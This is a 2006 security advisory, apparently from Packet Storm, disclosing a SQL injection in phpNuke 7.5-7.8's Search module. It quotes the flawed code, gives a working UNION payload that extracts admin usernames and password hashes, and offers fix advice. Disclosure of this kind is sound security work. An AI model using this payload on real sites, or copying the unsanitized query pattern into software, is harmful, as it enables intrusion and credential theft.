waraxe-2006-SA-046.txt

2006-02-20T00:00:00
ID PACKETSTORM:44031
Type packetstorm
Reporter Janek Vind aka waraxe
Modified 2006-02-20T00:00:00

Description

                                        
                                            `  
  
{================================================================================}  
{ [waraxe-2006-SA#046] }  
{================================================================================}  
{ }  
{ [ Critical sql injection in phpNuke 7.5-7.8 ] }  
{ }  
{================================================================================}  
  
Author: Janek Vind "waraxe"  
Date: 19. February 2006  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-46.html  
  
  
Target software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
phpNuke 7.5 - 7.8  
  
Homepage: http://phpnuke.org/  
  
  
What is phpNuke ?  
  
PHP-Nuke is a news automated system specially designed to be used in Intranets and  
Internet. The Administrator has total control of his web site, registered users, and  
he will have in the hand a powerful assembly of tools to maintain an active and 100%  
interactive web site using databases.  
  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
This particular advisory will address critical sql injection case in "Search" module.  
Versions 7.5 - 7.8 are affected, older versions contain different code implementation  
and are not affected by bug. Newest version 7.9 is not vulnerable too.  
  
  
  
Details  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Let's start by looking at "modules/Search/index.php" code in older nuke versions, in this  
example, 7.1 :  
  
----------------[ from source code ]------------------  
  
$query = addslashes($query);  
  
if ($type=="stories" OR !$type) {  
  
if ($category > 0) {  
$categ = "AND catid=$category ";  
} elseif ($category == 0) {  
$categ = "";  
}  
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,  
s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors  
a where s.aid=a.aid $queryalang $categ";  
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE  
'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";  
if ($author != "") $q .= "AND s.aid='$author' ";  
  
----------------[ /from source code ]-----------------  
  
As we can see, "addslashes()" is used against "$query" variable, so sql injection is not  
possible. Now let's peek at the same code fragment in newer phpnuke version, in this  
specific case - 7.5 :  
  
  
----------------[ from source code ]------------------  
  
$query = stripslashes(check_html($query, "nohtml"));  
  
if ($type=="stories" OR !$type) {  
  
if ($category > 0) {  
$categ = "AND catid='$category' ";  
} else {  
$categ = "";  
}  
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,  
s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors  
a where s.aid=a.aid $queryalang $categ";  
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE  
'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";  
if ($author != "") $q .= "AND s.aid='$author' ";  
----------------[ /from source code ]-----------------  
  
Any difference? Only the first line:  
  
$query = stripslashes(check_html($query, "nohtml"));  
  
Well, i really don't know, what was thinking the person, who changed this little code  
snippet. But the truth is, that very big hole to phpnuke installation is opened and it exists  
in versions 7.5, 7.6, 7.7 and 7.8 ;)   
  
So - is this exploitable? Yes, if we have mysql version 4.x with UNION support, if we can avoid  
potential anti-sql-injection filters/traps/ids/ips and if sql table name prefix is not changed.  
  
Example proof of concept exploit? Here it is:   
  
[------ real life exploit ------]  
  
p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*  
  
[----- /real life exploit ------]  
  
For exploiting just enter this string to search field in "modules.php?name=Search" page:  
  
http://www.waraxe.us/~kama/wsa-46-01.png  
  
and if it works, you will see usernames and password hashes of ALL admins ;)  
  
http://www.waraxe.us/~kama/wsa-46-02.png  
  
  
See ya s00n and have a nice day ;)  
  
  
  
How to fix:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Download 7.9 version. Or patch manually that flawed codeline.  
  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and  
all other active members from waraxe forum !  
  
Raido Kerna - tervitused!  
  
  
Additional resources:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
DX expeditions database - http://www.dxdb.com/  
  
HDD data recovery - http://www.hdd911.com/  
  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
come2waraxe@yahoo.com  
Janek Vind "waraxe"  
  
Homepage: http://www.waraxe.us/  
  
---------------------------------- [ EOF ] ------------------------------------  
`